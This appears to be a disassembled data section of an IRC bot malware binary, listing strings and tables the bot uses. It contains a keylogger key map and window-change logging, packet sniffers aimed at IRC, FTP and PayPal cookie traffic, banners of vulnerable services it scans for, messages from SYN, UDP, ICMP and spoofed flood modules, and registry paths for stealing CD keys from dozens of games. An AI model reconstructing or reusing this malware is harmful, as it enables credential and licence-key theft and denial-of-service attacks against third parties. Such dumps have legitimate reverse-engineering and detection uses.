dd 3A726F72h, 69614620h, 2064656Ch, 6F206F74h, 206E6570h
dd 6B636F73h, 29287465h, 6572202Ch, 6E727574h, 203A6465h
dd 3E64253Ch, 2Eh, 234032Dh, 6B636F73h, 3023473h, 7541202Dh
dd 6E656874h, 61636974h, 6E6F6974h, 69616620h, 2E64656Ch
dd 6D655220h, 2065746Fh, 72657375h, 203A6469h, 21207325h
dd 7325203Dh, 2Eh, 4000500h, 7868746Bh, 0
aTftpTransferCo db 'Tftp transfer complete to: %s',0
align 4
aTftpTransferSt db 'Tftp transfer started to: %s',0
align 8
dw 8
unicode 0, <>,0
aB:
unicode 0, <b>,0
dd 62000000h, 2 dup(0)
dd 0Dh, 65h, 65000000h, 2 dup(0)
dd 1Bh, 4353455Bh, 5B00005Dh, 5D435345h, 0
dd 70h, 5D31465Bh, 5B000000h, 5D3146h, 0
dd 71h, 5D32465Bh, 5B000000h, 5D3246h, 0
dd 72h, 5D33465Bh, 5B000000h, 5D3346h, 0
dd 73h, 5D34465Bh, 5B000000h, 5D3446h, 0
dd 74h, 5D35465Bh, 5B000000h, 5D3546h, 0
dd 75h, 5D36465Bh, 5B000000h, 5D3646h, 0
dd 76h, 5D37465Bh, 5B000000h, 5D3746h, 0
dd 77h, 5D38465Bh, 5B000000h, 5D3846h, 0
dd 78h, 5D39465Bh, 5B000000h, 5D3946h, 0
dd 79h, 3031465Bh, 5B00005Dh, 5D303146h, 0
dd 7Ah, 3131465Bh, 5B00005Dh, 5D313146h, 0
dd 7Bh, 3231465Bh, 5B00005Dh, 5D323146h, 0
dd 0C0h, 60h, 7E000000h, 2 dup(0)
dd 2 dup(31h), 21000000h, 2 dup(0)
dd 2 dup(32h), 40000000h, 2 dup(0)
dd 2 dup(33h), 23000000h, 2 dup(0)
dd 2 dup(34h), 24000000h, 2 dup(0)
dd 2 dup(35h), 25000000h, 2 dup(0)
dd 2 dup(36h), 5E000000h, 2 dup(0)
dd 2 dup(37h), 26000000h, 2 dup(0)
dd 2 dup(38h), 2A000000h, 2 dup(0)
dd 2 dup(39h), 28000000h, 2 dup(0)
dd 2 dup(30h), 29000000h, 2 dup(0)
dd 0BDh, 2Dh, 5F000000h, 2 dup(0)
dd 0BBh, 3Dh, 2B000000h, 2 dup(0)
dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0
dd 51h, 71h, 51000000h, 2 dup(0)
dd 57h, 77h, 57000000h, 2 dup(0)
dd 45h, 65h, 45000000h, 2 dup(0)
dd 52h, 72h, 52000000h, 2 dup(0)
dd 54h, 74h, 54000000h, 2 dup(0)
dd 59h, 79h, 59000000h, 2 dup(0)
dd 55h, 75h, 55000000h, 2 dup(0)
dd 49h, 69h, 49000000h, 2 dup(0)
dd 4Fh, 6Fh, 4F000000h, 2 dup(0)
dd 50h, 70h, 50000000h, 2 dup(0)
dd 0DBh, 5Bh, 7B000000h, 2 dup(0)
dd 0DDh, 0
dd 7D000000h, 2 dup(0)
dd 41h, 61h, 61000000h, 2 dup(0)
dd 53h, 73h, 53000000h, 2 dup(0)
dd 44h, 64h, 44000000h, 2 dup(0)
dd 46h, 66h, 46000000h, 2 dup(0)
dd 47h, 67h, 47000000h, 2 dup(0)
dd 48h, 68h, 48000000h, 2 dup(0)
dd 4Ah, 6Ah, 4A000000h, 2 dup(0)
dd 4Bh, 6Bh, 4B000000h, 2 dup(0)
dd 4Ch, 6Ch, 4C000000h, 2 dup(0)
dd 0BAh, 3Bh, 3A000000h, 2 dup(0)
dd 0DEh, 27h, 22000000h, 2 dup(0)
dd 5Ah, 7Ah, 5A000000h, 2 dup(0)
dd 58h, 78h, 58000000h, 2 dup(0)
dd 43h, 63h, 43000000h, 2 dup(0)
dd 56h, 76h, 56000000h, 2 dup(0)
dd 42h, 62h, 42000000h, 2 dup(0)
dd 4Eh, 6Eh, 4E000000h, 2 dup(0)
dd 4Dh, 6Dh, 4D000000h, 2 dup(0)
dd 0BCh, 2Ch, 3C000000h, 2 dup(0)
dd 0BEh, 2Eh, 3E000000h, 2 dup(0)
dword_43523C dd 0BFh, 2Fh, 2E000000h, 3Fh, 0 ; DATA XREF: ___:off_435DD4o
dd 0DCh, 5Ch, 7C000000h, 2 dup(0)
dd 11h, 5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh
dd 5B00005Dh, 5D4E4957h, 0
dd 2 dup(20h), 20000000h, 2 dup(0)
dd 5Ch, 4E49575Bh, 5B00005Dh, 5D4E4957h, 0
dd 2Ch, 5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh
dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh
dd 5D534E49h, 0
dd 24h, 4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh
dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh
dd 5D4C4544h, 0
dd 23h, 444E455Bh, 5B00005Dh, 5D444E45h, 0
dd 22h, 4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh
dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h
dd 5D5055h, 0
dd 27h, 4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh
dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh
dd 4B4C4D4Eh, 5Dh, 6Fh, 2Fh, 2F000000h, 2 dup(0)
dd 6Ah, 2Ah, 2A000000h, 2 dup(0)
dd 6Dh, 2Dh, 2D000000h, 2 dup(0)
dd 6Bh, 2Bh, 2B000000h, 2 dup(0)
dd 60h, 30h, 30000000h, 2 dup(0)
dd 61h, 31h, 31000000h, 2 dup(0)
dd 62h, 32h, 32000000h, 2 dup(0)
dd 63h, 33h, 33000000h, 2 dup(0)
dd 64h, 34h, 34000000h, 2 dup(0)
dd 65h, 35h, 35000000h, 2 dup(0)
dd 66h, 36h, 36000000h, 2 dup(0)
dd 67h, 37h, 37000000h, 2 dup(0)
dd 68h, 38h, 38000000h, 2 dup(0)
dd 69h, 39h, 39000000h, 2 dup(0)
dd 6Eh, 2Eh, 2E000000h, 2 dup(0)
dword_4354E4 dd 234032Dh, 6C79656Bh, 302676Fh, 7325202Dh, 0 ; DATA XREF: ___:00411CC1o
aDDDDDDS db '[%d-%d-%d %d:%d:%d] %s',0Dh,0Ah,0 ; DATA XREF: ___:00411C9Bo
align 4
asc_435514: ; DATA XREF: ___:00411C3Fo
unicode 0, <\>,0
aSReturnS db '%s (Return) (%s)',0
align 4
aSBufferFullS db '%s (Buffer full) (%s)',0
align 4
aSChangedWindow db '%s (Changed Windows: %s)',0
align 10h
dd offset off_435DD8
dd offset off_435DD4
dd offset off_435DD0
dd offset aHttp_0 ; "HTTP"
dd 6F6C2E3Ah, 6E6967h, 4 dup(0)
dd 6F6C2C3Ah, 6E6967h, 4 dup(0)
dd 6F6C213Ah, 6E6967h, 4 dup(0)
dd 6F6C403Ah, 6E6967h, 4 dup(0)
dd 6F6C243Ah, 6E6967h, 4 dup(0)
dd 6F6C253Ah, 6E6967h, 4 dup(0)
dd 6F6C5E3Ah, 6E6967h, 4 dup(0)
dd 6F6C263Ah, 6E6967h, 4 dup(0)
dd 6F6C2A3Ah, 6E6967h, 4 dup(0)
dd 6F6C2D3Ah, 6E6967h, 4 dup(0)
dd 6F6C2B3Ah, 6E6967h, 4 dup(0)
dd 6F6C2F3Ah, 6E6967h, 4 dup(0)
dd 6F6C5C3Ah, 6E6967h, 4 dup(0)
dd 6F6C3D3Ah, 6E6967h, 4 dup(0)
dd 6F6C3F3Ah, 6E6967h, 4 dup(0)
dd 6F6C273Ah, 6E6967h, 4 dup(0)
dd 6F6C603Ah, 6E6967h, 4 dup(0)
dd 6F6C7E3Ah, 6E6967h, 4 dup(0)
dd 6F6C203Ah, 6E6967h, 4 dup(0)
dd 75612E3Ah, 6874h, 4 dup(0)
dd 75612C3Ah, 6874h, 4 dup(0)
dd 7561213Ah, 6874h, 4 dup(0)
dd 7561403Ah, 6874h, 4 dup(0)
dd 7561243Ah, 6874h, 4 dup(0)
dd 7561253Ah, 6874h, 4 dup(0)
dd 75615E3Ah, 6874h, 4 dup(0)
dd 7561263Ah, 6874h, 4 dup(0)
dd 75612A3Ah, 6874h, 4 dup(0)
dd 75612D3Ah, 6874h, 4 dup(0)
dd 75612B3Ah, 6874h, 4 dup(0)
dd 75612F3Ah, 6874h, 4 dup(0)
dd 75615C3Ah, 6874h, 4 dup(0)
dd 75613D3Ah, 6874h, 4 dup(0)
dd 75613F3Ah, 6874h, 4 dup(0)
dd 7561273Ah, 6874h, 4 dup(0)
dd 7561603Ah, 6874h, 4 dup(0)
dd 75617E3Ah, 6874h, 4 dup(0)
dd 7561203Ah, 6874h, 4 dup(0)
dd 64692E3Ah, 5 dup(0)
dd 64692C3Ah, 5 dup(0)
dd 6469213Ah, 5 dup(0)
dd 6469403Ah, 5 dup(0)
dd 6469243Ah, 5 dup(0)
dd 6469253Ah, 5 dup(0)
dd 64695E3Ah, 5 dup(0)
dd 6469263Ah, 5 dup(0)
dd 64692A3Ah, 5 dup(0)
dd 64692D3Ah, 5 dup(0)
dd 64692B3Ah, 5 dup(0)
dd 64692F3Ah, 5 dup(0)
dd 64695C3Ah, 5 dup(0)
dd 64693D3Ah, 5 dup(0)
dd 64693F3Ah, 5 dup(0)
dd 6469273Ah, 5 dup(0)
dd 6469603Ah, 5 dup(0)
dd 64697E3Ah, 5 dup(0)
dd 6469203Ah, 5 dup(0)
dd 61682E3Ah, 6E696873h, 4 dup(0)
dd 6168213Ah, 6E696873h, 4 dup(0)
dd 6168243Ah, 6E696873h, 4 dup(0)
dd 6168253Ah, 6E696873h, 4 dup(0)
dd 65732E3Ah, 65727563h, 4 dup(0)
dd 6573213Ah, 65727563h, 4 dup(0)
dd 6C2E3Ah, 5 dup(0)
dd 6C213Ah, 5 dup(0)
dd 6C243Ah, 5 dup(0)
dd 6C253Ah, 5 dup(0)
dd 782E3Ah, 5 dup(0)
dd 78213Ah, 5 dup(0)
dd 78243Ah, 5 dup(0)
dd 78253Ah, 5 dup(0)
dd 79732E3Ah, 6Eh, 4 dup(0)
dd 7973213Ah, 6Eh, 4 dup(0)
dd 7973243Ah, 6Eh, 4 dup(0)
dd 7973253Ah, 6Eh, 4 dup(0)
dd 4B444320h, 207965h, 4 dup(0)
dd 4E494F4Ah, 2320h, 3 dup(0)
dd 1, 4B43494Eh, 20h, 3 dup(0)
dd 1, 5245504Fh, 20h, 3 dup(0)
dd 1, 7265706Fh, 20h, 3 dup(0)
dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h
dd 1, 52455355h, 20h, 3 dup(0)
dd 2, 53534150h, 20h, 3 dup(0)
dd 2, 70796170h, 6C61h, 3 dup(0)
dd 3, 50594150h, 4C41h, 3 dup(0)
dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0)
dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0)
dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0)
dd 3, 6 dup(0)
aHttp_0 db 'HTTP',0 ; DATA XREF: ___:0043556Co
align 10h
off_435DD0 dd offset word_505446 ; DATA XREF: ___:00435568o
off_435DD4 dd offset dword_43523C+0Dh ; DATA XREF: ___:00435564o
off_435DD8 dd offset word_544F42 ; DATA XREF: ___:00435560o
dd 234032Dh, 696E7370h, 3026666h, 6572202Dh, 29287663h
dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
dd 0
dd 234032Dh, 696E7370h, 3026666h, 7573202Dh, 63697073h
dd 73756F69h, 20732520h, 6B636170h, 66207465h, 3A6D6F72h
dd 3A732520h, 2D206425h, 732520h, 234032Dh, 696E7370h
dd 3026666h, 2Dh, 4E53505Bh, 5D464649h, 0
dd 234032Dh, 696E7370h, 3026666h, 5357202Dh, 636F4941h
dd 29286C74h, 69616620h, 2C64656Ch, 74657220h, 656E7275h
dd 64252064h, 0
dd 234032Dh, 696E7370h, 3026666h, 6962202Dh, 2928646Eh
dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
dd 0
dd 234032Dh, 696E7370h, 3026666h
aSocketFailedRe db '- socket() failed, returned %d',0
align 10h
aHashin db ':!hashin',0 ; DATA XREF: sub_412360+103o
align 4
a_hashin db ':.hashin',0 ; DATA XREF: sub_412360+EEo
align 4
aIdent_0 db ':!ident',0 ; DATA XREF: sub_412360+D9o
a_ident db ':.ident',0 ; DATA XREF: sub_412360+C8o
a_login db ':.Login',0 ; DATA XREF: sub_412360+B7o
aLogin_0 db ':!Login',0 ; DATA XREF: sub_412360+A6o
aLogin_1 db ':!login',0 ; DATA XREF: sub_412360+95o
a_login_0 db ':.login',0 ; DATA XREF: sub_412360+84o
a366 db '366 ',0 ; DATA XREF: sub_412360+73o
align 10h
a302_0 db '302 ',0 ; DATA XREF: sub_412360:loc_4123C2o
align 4
aJoin_0 db 'JOIN #',0 ; DATA XREF: sub_412360+4Do
align 10h
aPsniff_0 db 'PSNIFF//',0 ; DATA XREF: sub_412360+3Co
align 4
aPsniff_1 db '[PSNIFF]:',0 ; DATA XREF: sub_412360+2Bo
align 4
aBotSniff db 'Bot sniff',0 ; DATA XREF: sub_412360+5o
align 4
aYouAreNowAnIrc db 'You are now an IRC Operator',0 ; DATA XREF: sub_412477+62o
aOper db 'oper ',0 ; DATA XREF: sub_412477+51o
align 4
aNick_1 db 'NICK ',0 ; DATA XREF: sub_412477:loc_4124B7o
; sub_4124ED+2Bo
align 10h
aOper_0 db 'OPER ',0 ; DATA XREF: sub_412477+2Bo
align 4
aIrcSniff db 'IRC sniff',0 ; DATA XREF: sub_412477+5o
align 4
aPass_1 db 'PASS ',0 ; DATA XREF: sub_4124ED+73o
align 4
aUser_3 db 'USER ',0 ; DATA XREF: sub_4124ED+62o
align 4
a230 db '230 ',0 ; DATA XREF: sub_4124ED:loc_41253Eo
align 4
a220 db '220 ',0 ; DATA XREF: sub_4124ED+3Co
align 4
aFtpSniff db 'FTP sniff',0 ; DATA XREF: sub_4124ED+5o
align 10h
aSetCookie db 'Set-Cookie:',0 ; DATA XREF: sub_412574+73o
aPaypal_com db 'paypal.com',0 ; DATA XREF: sub_412574+62o
align 4
aPaypal_com_0 db 'PAYPAL.COM',0 ; DATA XREF: sub_412574+51o
align 4
aPaypal_0 db 'PAYPAL',0 ; DATA XREF: sub_412574:loc_4125B4o
align 4
aPaypal db 'paypal',0 ; DATA XREF: sub_412574+2Bo
align 4
aHttpSniff db 'HTTP sniff',0 ; DATA XREF: sub_412574+5o
align 10h
aOpenssh_2 db 'OpenSSH_2',0 ; DATA XREF: sub_4125FB+51o
align 4
aServUFtpServer db 'Serv-U FTP Server',0 ; DATA XREF: sub_4125FB:loc_41263Bo
align 10h
aOpenssl0_9_6 db 'OpenSSL/0.9.6',0 ; DATA XREF: sub_4125FB+2Bo
align 10h
aVulnSniff db 'VULN sniff',0 ; DATA XREF: sub_4125FB+5o
align 4
unk_43604C db 2Dh ; - ; DATA XREF: sub_412660+3ECo
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aVulnSniffSDToS db '- VULN sniff "%s:%d" to "%s:%d": - "%s"',0
align 4
unk_436084 db 2Dh ; - ; DATA XREF: sub_412660+382o
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aHttpSniffSDToS db '- HTTP sniff "%s:%d" to "%s:%d": - "%s"',0
align 4
unk_4360BC db 2Dh ; - ; DATA XREF: sub_412660+351o
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aFtpSniffSDToSD db '- FTP sniff "%s:%d" to "%s:%d": - "%s"',0
unk_4360F0 db 2Dh ; - ; DATA XREF: sub_412660+31Bo
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aIrcSniffSDToSD db '- IRC sniff "%s:%d" to "%s:%d": - "%s"',0
unk_436124 db 2Dh ; - ; DATA XREF: sub_412660+2E2o
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aBotSniffSDToSD db '- Bot sniff "%s:%d" to "%s:%d": - "%s"',0
unk_436158 db 2Dh ; - ; DATA XREF: sub_412660+14Bo
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aWsaioctlFailed db '- WSAIoctl() failed, returned %d',0
align 4
unk_436188 db 2Dh ; - ; DATA XREF: sub_412660+C5o
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aBindFailedRetu db '- bind() failed, returned %d',0
align 4
db 2Dh ; -
db 3, 34h, 2
db 64h ; d
db 64h, 6Fh, 73h
db 2
db 3, 2Dh, 20h
aDoneWithFloodA db 'done with flood at %iKB/sec',0
dword_4361DC dd 234032Dh, 736F6464h, 202D0302h, 646E6573h, 72726520h
; DATA XREF: sub_412B08+302o
dd 203A726Fh, 6425h, 234032Dh, 706D6369h, 202D0302h, 656E6F64h
dd 74697720h, 73252068h, 6F6C6620h, 7420646Fh, 7325206Fh
dd 6573202Eh, 2520746Eh, 61702064h, 74656B63h, 20402073h
dd 424B6425h, 6365732Fh, 64252820h, 2E29424Dh, 0
dd 234032Dh, 706D6369h, 202D0302h, 6F727265h, 65732072h
dd 6E69646Eh, 61702067h, 74656B63h, 6F742073h, 2E732520h
dd 20642520h, 6B636170h, 20737465h, 746E6573h, 6572202Ch
dd 6E727574h, 25206465h, 64h, 234032Dh, 706D6369h, 202D0302h
dd 61766E69h, 2064696Ch, 67726174h, 69207465h, 70h, 234032Dh
dd 706D6369h, 202D0302h, 73746573h, 6F6B636Fh, 29287470h
dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
dd 0
dd 234032Dh, 706D6369h, 202D0302h, 6B636F73h, 29287465h
dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
dd 0
dd 234032Dh, 676E6970h, 202D0302h, 696E6966h, 64656873h
dd 6E657320h, 676E6964h, 6E697020h, 74207367h, 7325206Fh
dd 0
dd 234032Dh, 676E6970h, 202D0302h, 6F727265h, 65732072h
dd 6E69646Eh, 69702067h, 2073676Eh, 25206F74h, 73h, 234032Dh
dd 2706475h, 66202D03h, 73696E69h, 20646568h, 646E6573h
dd 20676E69h, 6B636170h, 20737465h, 25206F74h, 73h, 234032Dh
dd 2706475h, 65202D03h, 726F7272h, 6E657320h, 676E6964h
dd 63617020h, 7374656Bh, 206F7420h, 7325h, 234032Dh, 73796B73h
dd 3026E79h, 6F44202Dh, 7720656Eh, 20687469h, 6F6F6C66h
dd 25282064h, 2F424B69h, 29636573h, 0
db 2Dh ; -
db 3, 34h, 2
db 73h ; s
db 79h, 6Eh, 2
db 3
aDoneWithFloodI db '- Done with flood (%iKB/sec).',0
align 4
dword_436404 dd 234032Dh, 26E7973h, 53202D03h, 20646E65h, 6F727265h
; DATA XREF: sub_41386B+27Do
dd 3C203A72h, 2E3E6425h, 0
dd 234032Dh, 67726174h, 3023361h, 6F44202Dh, 7720656Eh
dd 20687469h, 6F6F6C66h, 2E64h, 234032Dh, 2706374h, 44202D03h
dd 20656E6Fh, 68746977h, 20732520h, 6F6F6C66h, 6F742064h
dd 3A504920h, 2E732520h, 6E655320h, 25203A74h, 61702064h
dd 74656B63h, 20297328h, 64252040h, 732F424Bh, 28206365h
dd 424D6425h, 2E29h, 234032Dh, 2706374h, 45202D03h, 726F7272h
dd 6E657320h, 676E6964h, 63617020h, 7374656Bh, 206F7420h
dd 203A5049h, 202E7325h, 6B636150h, 20737465h, 746E6573h
dd 6425203Ah, 6552202Eh, 6E727574h, 203A6465h, 3E64253Ch
dd 2Eh, 234032Dh, 2706374h, 49202D03h, 6C61766Eh, 74206469h
dd 65677261h, 50492074h, 2Eh, 234032Dh, 2706374h, 45202D03h
dd 726F7272h, 6573203Ah, 636F7374h, 74706F6Bh, 66202928h
dd 656C6961h, 72202C64h, 72757465h, 3A64656Eh, 64253C20h
dd 2E3Eh, 234032Dh, 2706374h, 45202D03h, 726F7272h, 6F73203Ah
dd 74656B63h, 66202928h, 656C6961h, 72202C64h, 72757465h
dd 3A64656Eh, 64253C20h, 2E3Eh, 234032Dh, 6E757374h, 2696D61h
dd 44202D03h, 20656E6Fh, 68746977h, 6F6C6620h, 202C646Fh
dd 70206425h, 656B6361h, 73207374h, 2E746E65h, 0
dd 234032Dh, 64736977h, 75286D6Fh, 2297064h, 53202D03h
dd 74726174h, 20676E69h, 64736957h, 73206D6Fh, 666F6F70h
dd 55206465h, 66205044h, 646F6F6Ch, 72687420h, 2E646165h
dd 0
dd 234032Dh, 64736977h, 75286D6Fh, 2297064h, 45202D03h
dd 726F7272h, 6E657320h, 676E6964h, 63617020h, 7374656Bh
dd 206F7420h, 202E7325h, 3D786165h, 4B434F53h, 455F5445h
dd 524F5252h, 5357202Ch, 74654741h, 7473614Ch, 6F727245h
dd 3D292872h, 202E6425h, 657A6973h, 6228666Fh, 65666675h
dd 3D202972h, 2E642520h, 63615020h, 7374656Bh, 6E657320h
dd 75732074h, 73736563h, 6C6C7566h, 203D2079h, 2E6425h
dd 234032Dh, 64736977h, 75286D6Fh, 2297064h, 46202D03h
dd 73696E69h, 20646568h, 646E6573h, 20676E69h, 6B636170h
dd 20737465h, 25206F74h, 53202E73h, 20746E65h, 70206425h
dd 656B6361h, 29732874h, 257E202Eh, 20424D64h, 6420666Fh
dd 20617461h, 746E6573h, 257E2820h, 732F4B64h, 2E29h, 234032Dh
dd 64736977h, 75286D6Fh, 2297064h, 53202D03h, 69646E65h
dd 7020676Eh, 656B6361h, 74207374h, 7325206Fh, 2E2E2Eh
dd 234032Dh, 64736977h, 75286D6Fh, 2297064h, 49202D03h
dd 6C61766Eh, 74206469h, 65677261h, 50492074h, 5357202Eh
dd 74654741h, 7473614Ch, 6F727245h, 20292872h, 75746572h
dd 20736E72h, 2E6425h, 234032Dh, 64736977h, 75286D6Fh
dd 2297064h, 45202D03h, 726F7272h, 6C616320h, 676E696Ch
dd 74657320h, 6B636F73h, 2874706Fh, 57202E29h, 65474153h
dd 73614C74h, 72724574h, 2928726Fh, 74657220h, 736E7275h
dd 2E642520h, 0
db 2Dh ; -
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 75h
db 64h ; d
db 70h, 29h, 2
db 3
aErrorCallingSo db '- Error calling socket().',0
align 10h
db 2Dh ; -
db 3, 34h, 2
db 77h ; w
db 6Fh, 6Eh, 6Bh
db 2
db 3, 2Dh, 20h
aDoneWithFloodP db 'Done with flood, ports hit: %s',0
align 4
aSD db '%s%d ',0
align 4
dword_4367F4 dd 202E6425h, 73253403h, 203D2003h, 73253703h, 3 ; DATA XREF: sub_415134+35o
dword_436808 dd 234032Dh, 61696C61h, 696C2073h, 3027473h, 2Dh ; DATA XREF: sub_415134+10o
a_2d_2d4d_2d_2d db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_4151AC+60o
align 10h
dword_436840 dd 234032Dh, 3676F6Ch, 43202D02h, 7261656Ch, 2E6465h
; DATA XREF: sub_41524C:loc_415281o
dword_436854 dd 234032Dh, 2676F6Ch, 63202D03h, 7261656Ch, 6465h
; DATA XREF: sub_41524C+20o
dword_436868 dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 706D6F63h
; DATA XREF: ___:00415369o
dd 6574656Ch, 0
dword_436884 dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 72617473h
; DATA XREF: ___:004152CCo
dd 676E6974h, 0
aDisplay db 'DISPLAY',0 ; DATA XREF: sub_4153BC+11o
aWindow db 'Window',0 ; DATA XREF: sub_4155F7+23o
; sub_4157F0+26o
align 10h
dd 80000001h
off_4368B4 dd offset aSoftwareValveC ; DATA XREF: sub_415A2F+Cr
; sub_415A2F+21o
; "Software\\Valve\\CounterStrike\\Settings"
dd offset aCdkey ; "CDKey"
dd offset aCounterStrikeR ; "Counter-Strike (Retail)"
dword_4368C0 dd 2 dup(0) ; DATA XREF: sub_415A2F+26o
dd 80000001h, 437A44h, 437A38h, 437A28h, 2 dup(0)
dd 80000001h, 437A08h, 437A04h, 4379F0h, 2 dup(0)
dd 80000001h, 4379CCh, 437A04h, 4379C0h, 2 dup(0)
dd 80000001h, 43799Ch, 437994h, 437980h, 2 dup(0)
dd 80000001h, 43796Ch, 43795Ch, 437940h, 2 dup(0)
dd 80000001h, 4378FCh, 437A84h, 4378E8h, 2 dup(0)
dd 80000002h, 4378BCh, 4378B0h, 437890h, 2 dup(0)
dd 80000002h, 43785Ch, 437A84h, 437844h, 2 dup(0)
dd 80000002h, 437810h, 437A84h, 4377F8h, 2 dup(0)
dd 80000002h, 4377E0h, 437A84h, 4377C8h, 2 dup(0)
dd 80000002h, 43778Ch, 43D7D8h, 43777Ch, 2 dup(0)
dd 80000002h, 437744h, 43D7D8h, 437730h, 2 dup(0)
dd 80000002h, 4376E4h, 43D7D8h, 4376C4h, 2 dup(0)
dd 80000002h, 437674h, 43D7D8h, 437648h, 2 dup(0)
dd 80000002h, 43760Ch, 43D7D8h, 4375F8h, 2 dup(0)
dd 80000002h, 4375C0h, 43D7D8h, 4375B0h, 2 dup(0)
dd 80000002h, 437560h, 43D7D8h, 437534h, 2 dup(0)
dd 80000002h, 4374F4h, 43D7D8h, 4374D8h, 2 dup(0)
dd 80000002h, 4374A8h, 43D7D8h, 437488h, 2 dup(0)
dd 80000002h, 43744Ch, 43D7D8h, 437438h, 2 dup(0)
dd 80000002h, 4373F0h, 43D7D8h, 4373D0h, 2 dup(0)
dd 80000002h, 43737Ch, 43D7D8h, 43734Ch, 2 dup(0)
dd 80000002h, 4372FCh, 43D7D8h, 4372D0h, 2 dup(0)
dd 80000002h, 437290h, 437288h, 437268h, 2 dup(0)
dd 80000002h, 437224h, 43D7D8h, 437208h, 2 dup(0)
dd 80000002h, 4371BCh, 43D7D8h, 437198h, 2 dup(0)
dd 80000002h, 437164h, 43D7D8h, 437158h, 2 dup(0)
dd 80000002h, 437124h, 43D7D8h, 437118h, 2 dup(0)
dd 80000002h, 4370E4h, 43D7D8h, 4370D8h, 2 dup(0)
dd 80000002h, 4370A4h, 43D7D8h, 437098h, 2 dup(0)
dd 80000002h, 43705Ch, 43D7D8h, 437048h, 2 dup(0)
dd 80000002h, 43700Ch, 43D7D8h, 436FF8h, 2 dup(0)
dd 80000002h, 436FC8h, 437A84h, 436FACh, 2 dup(0)
dd 80000002h, 436F8Ch, 436F84h, 436F60h, 2 dup(0)
dd 80000002h, 436F44h, 436F84h, 436F24h, 2 dup(0)
dd 80000002h, 436F04h, 436F84h, 436EE0h, 2 dup(0)
dd 80000002h, 436EC8h, 436F84h, 436EC4h, 2 dup(0)
dd 80000002h, 436EA8h, 436E98h, 436E90h, 2 dup(0)
dd 80000002h, 436E5Ch, 42C8DCh, 436E44h, 2 dup(0)
dd 80000002h, 436E08h, 436DFCh, 436DD4h, 436DC4h, 436DB0h
dd 80000002h, 436D8Ch, 436D80h, 436D6Ch, 436D5Ch, 436D54h
dd 80000002h, 436D8Ch, 436D80h, 436D28h, 436D5Ch, 436D20h
dd 80000002h, 436D8Ch, 436D80h, 436CF0h, 436D5Ch, 436CE8h
dd 6 dup(0)
dd 3379654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh
dd 28207374h, 64726F48h, 6F207365h, 68742066h, 6E552065h
dd 64726564h, 296B7261h, 0
dd 3279654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh
dd 28207374h, 64616853h, 2073776Fh, 5520666Fh, 6572646Eh
dd 6469746Eh, 2965h, 3179654Bh, 3Dh, 636E776Eh, 79656B64h
dd 696E692Eh, 0
aNeverwinterNig db 'Neverwinter Nights',0
align 10h
aLocation db 'Location',0
align 4
aSoftwareBiowar db 'Software\BioWare\NWN\Neverwinter',0
align 10h
aMtkwftmkemfew3 db 'mtkwftmkemfew3p3b7',0
align 4
aBaseMpSof2key db 'base\mp\sof2key',0
aSoldierOfFortu db 'Soldier of Fortune II - Double Helix',0
align 4
aInstallpath db 'InstallPath',0
db 53h
aOftwareActivis db 'oftware\Activision\Soldier of Fortune II - Double Helix',0
align 4
aHiddenDangerou db 'Hidden & Dangerous 2',0
align 4
db 53h
aOftwareIllusio db 'oftware\Illusion Softworks\Hidden & Dangerous 2',0
align 10h
aChrome db 'Chrome',0
align 4
aSerialnumber db 'SerialNumber',0
align 4
db 53h
aOftwareTechlan db 'oftware\Techland\Chrome',0
align 4
dd offset word_584F4E
aSoftwareWestwo db 'Software\Westwood\NOX',0
align 10h
aCommandAndConq db 'Command and Conquer: Red Alert 2',0
align 4
db 53h
aOftwareWestwoo db 'oftware\Westwood\Red Alert 2',0
align 4
aCommandAndCo_0 db 'Command and Conquer: Red Alert',0
align 4
db 53h
aOftwareWestw_0 db 'oftware\Westwood\Red Alert',0
aCommandAndCo_1 db 'Command and Conquer: Tiberian Sun',0
align 4
aSerial db 'Serial',0
align 4
db 53h
aOftwareWestw_1 db 'oftware\Westwood\Tiberian Sun',0
align 4
aRainbowSixIiiR db 'Rainbow Six III RavenShield',0
db 53h
aOftwareRedStor db 'oftware\Red Storm Entertainment\RAVENSHIELD',0
align 4
aNascarRacing20 db 'Nascar Racing 2003',0
align 4
db 53h
